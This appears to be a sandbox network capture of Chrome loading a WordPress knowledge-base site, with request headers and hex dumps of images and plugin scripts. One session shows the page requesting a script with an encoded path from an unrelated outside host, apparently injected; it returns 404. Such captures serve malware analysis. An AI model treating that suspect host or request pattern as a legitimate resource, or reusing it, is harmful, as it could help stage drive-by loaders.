repeatCount="indefinite" attrib

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49740	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	668	OUT	GET /wp-content/uploads/sites/19/2022/07/section-6-1-75x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "218b-603b5d0c6a043" Accept-Ranges: bytes Content-Length: 8587 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	8587	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49743	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	667	OUT	GET /wp-content/uploads/sites/19/2022/07/section-1-100x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "2179-603b5d0c5c584" Accept-Ranges: bytes Content-Length: 8569 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	8569	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49741	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	681	OUT	GET /wp-content/uploads/sites/19/2022/10/shutterstock_1919311319-100x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:15 GMT ETag: "1ab4-603b5d14dd15d" Accept-Ranges: bytes Content-Length: 6836 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	6836	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 00 bc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 06 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 56 01 1b 00 05 00 00 00 01 00 00 00 5e 01 28 00 03 00 00 00 01 00 02 00 00 02 13 00 03 00 00 00 01 00 01 00 00 87 69 00 04 00 00 00 01 00 00 00 66 00 00 00 00 00 00 01 2c 00 00 00 01 00 00 01 2c 00 00 00 01 00 06 90 00 00 07 00 00 00 04 30 32 31 30 91 01 00 07 00 00 00 04 01 02 03 00 a0 00 00 07 00 00 00 04 30 31 30 30 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 09 c4 a0 03 00 04 00 00 00 01 00 00 09 c4 00 00 00 00 ff ed 02 76 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 02 59 1c 02 19 01 88 73 79 6d 62 6f 6c 2c 61 75 74 Data Ascii: JFIF,,ExifMM*V^(if,,02100100vPhotoshop 3.08BIMYsymbol,aut

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49742	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:07 UTC	666	OUT	GET /wp-content/uploads/sites/19/2022/07/section-3-77x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "22d4-603b5d0c613a4" Accept-Ranges: bytes Content-Length: 8916 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	8916	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49745	185.76.79.50	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	636	OUT	GET /TS1RyjYPMqMpD2v4ex596D8Pa+g+QyWkIkY4rjtEMLw1XzenKg8s HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:09 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 15 Apr 2025 14:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-04-15 14:03:09 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-04-15 14:03:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49746	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	666	OUT	GET /wp-content/uploads/sites/19/2022/07/section-4-100x89.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "223f-603b5d0c64284" Accept-Ranges: bytes Content-Length: 8767 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	8767	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49747	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	433	OUT	GET /wp-content/themes/knowall/img/search.svg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	293	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:41:46 GMT ETag: "1ba-5f98fe5509b11" Accept-Ranges: bytes Content-Length: 442 Cache-Control: s-maxage=10 Connection: close Content-Type: image/svg+xml
2025-04-15 14:03:08 UTC	442	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 31 37 39 32 22 20 68 65 69 67 68 74 3d 22 31 37 39 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 37 39 32 20 31 37 39 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 32 31 36 20 38 33 32 71 30 2d 31 38 35 2d 31 33 31 2e 35 2d 33 31 36 2e 35 74 2d 33 31 36 2e 35 2d 31 33 31 2e 35 2d 33 31 36 2e 35 20 31 33 31 2e 35 2d 31 33 31 2e 35 20 33 31 36 2e 35 20 31 33 31 2e 35 20 33 31 36 2e 35 20 33 31 36 2e 35 20 31 33 31 2e 35 20 33 31 36 2e 35 2d 31 33 31 2e 35 20 31 33 31 2e 35 2d 33 31 36 2e 35 7a 6d 35 31 32 20 38 33 32 71 30 20 35 32 2d 33 38 20 39 30 74 2d 39 30 20 33 38 71 2d 35 34 20 30 2d 39 30 2d 33 38 6c 2d 33 34 Data Ascii: <svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1216 832q0-185-131.5-316.5t-316.5-131.5-316.5 131.5-131.5 316.5 131.5 316.5 316.5 131.5 316.5-131.5 131.5-316.5zm512 832q0 52-38 90t-90 38q-54 0-90-38l-34

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49748	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	623	OUT	GET /wp-content/plugins/ht-knowledge-base/dist/ht-kb-frontend.min.js?ver=3.9.1 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	299	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:43:28 GMT ETag: "20a7-5f98feb691c56" Accept-Ranges: bytes Content-Length: 8359 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:08 UTC	8359	IN	Data Raw: 6a 51 75 65 72 79 2e 66 6e 2e 6c 69 76 65 53 65 61 72 63 68 3d 66 75 6e 63 74 69 6f 6e 28 63 6f 6e 66 29 7b 76 61 72 20 63 6f 6e 66 69 67 3d 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 7b 75 72 6c 3a 22 2f 73 65 61 72 63 68 2d 72 65 73 75 6c 74 73 2e 70 68 70 3f 71 3d 22 2c 69 64 3a 22 6a 71 75 65 72 79 2d 6c 69 76 65 2d 73 65 61 72 63 68 22 2c 64 75 72 61 74 69 6f 6e 3a 34 30 30 2c 74 79 70 65 44 65 6c 61 79 3a 32 30 30 2c 74 72 69 67 67 65 72 4c 65 6e 67 74 68 3a 34 2c 6c 6f 61 64 69 6e 67 43 6c 61 73 73 3a 22 6c 69 76 65 2d 73 65 61 72 63 68 2d 6c 6f 61 64 69 6e 67 22 2c 6f 6e 53 6c 69 64 65 55 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 6f 6e 53 68 6f 77 4c 69 76 65 53 65 61 72 63 68 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 75 70 74 61 64 65 50 6f 73 Data Ascii: jQuery.fn.liveSearch=function(conf){var config=jQuery.extend({url:"/search-results.php?q=",id:"jquery-live-search",duration:400,typeDelay:200,triggerLength:4,loadingClass:"live-search-loading",onSlideUp:function(){},onShowLiveSearch:function(){},uptadePos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49749	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	450	OUT	GET /wp-content/uploads/sites/19/2022/07/section-5-100x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "2410-603b5d0c67163" Accept-Ranges: bytes Content-Length: 9232 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	9232	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49750	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	621	OUT	GET /wp-content/plugins/heroic-glossary/dist/ht-glossary-frontend.js?ver=344 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	298	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 31 Mar 2023 03:50:03 GMT ETag: "f7b-5f82a1aa9f0ec" Accept-Ranges: bytes Content-Length: 3963 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2025-04-15 14:03:08 UTC	3963	IN	Data Raw: 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0d 0a 09 24 2e 66 6e 2e 73 65 61 72 63 68 61 62 6c 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 09 09 63 6f 6e 73 74 20 73 65 6c 66 20 3d 20 74 68 69 73 3b 0d 0a 09 09 63 6f 6e 73 74 20 73 65 61 72 63 68 46 69 65 6c 64 20 3d 20 24 28 20 74 68 69 73 20 29 2e 66 69 6e 64 28 20 27 5b 64 61 74 61 2d 72 6f 6c 65 3d 22 68 67 2d 73 65 61 72 63 68 2d 69 6e 70 75 74 22 5d 27 20 29 3b 0d 0a 09 09 63 6f 6e 73 74 20 67 6c 6f 73 73 61 72 79 49 74 65 6d 73 20 3d 20 24 28 20 74 68 69 73 20 29 2e 66 69 6e 64 28 20 27 5b 64 61 74 61 2d 72 6f 6c 65 3d 22 68 67 2d 69 74 65 6d 22 5d 27 20 29 3b 0d 0a 09 09 63 6f 6e 73 74 20 68 67 53 65 63 74 69 6f 6e 73 20 3d 20 24 28 20 74 68 69 73 20 29 2e 66 69 Data Ascii: jQuery( function ($) {$.fn.searchable = function () {const self = this;const searchField = $( this ).find( '[data-role="hg-search-input"]' );const glossaryItems = $( this ).find( '[data-role="hg-item"]' );const hgSections = $( this ).fi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49751	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	451	OUT	GET /wp-content/uploads/sites/19/2022/07/section-6-1-75x100.jpg HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Fri, 25 Aug 2023 02:08:06 GMT ETag: "218b-603b5d0c6a043" Accept-Ranges: bytes Content-Length: 8587 Connection: close Content-Type: image/jpeg
2025-04-15 14:03:08 UTC	8587	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 11 00 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 3b 00 02 00 00 00 12 00 00 08 4a 87 69 00 04 00 00 00 01 00 00 08 5c 9c 9d 00 01 00 00 00 24 00 00 10 d4 ea 1c 00 07 00 00 08 0c 00 00 00 3e 00 00 00 00 1c ea 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*;Ji\$>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49752	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:08 UTC	627	OUT	GET /wp-content/plugins/heroic-blocks/dist/js/ht-blocks-frontend.js?ver=1681771414 HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:08 UTC	298	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:08 GMT Server: Apache X-Frame-Options: SAMEORIGIN Last-Modified: Mon, 17 Apr 2023 22:43:34 GMT ETag: "d1e-5f98febbb6318" Accept-Ranges: bytes Content-Length: 3358 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
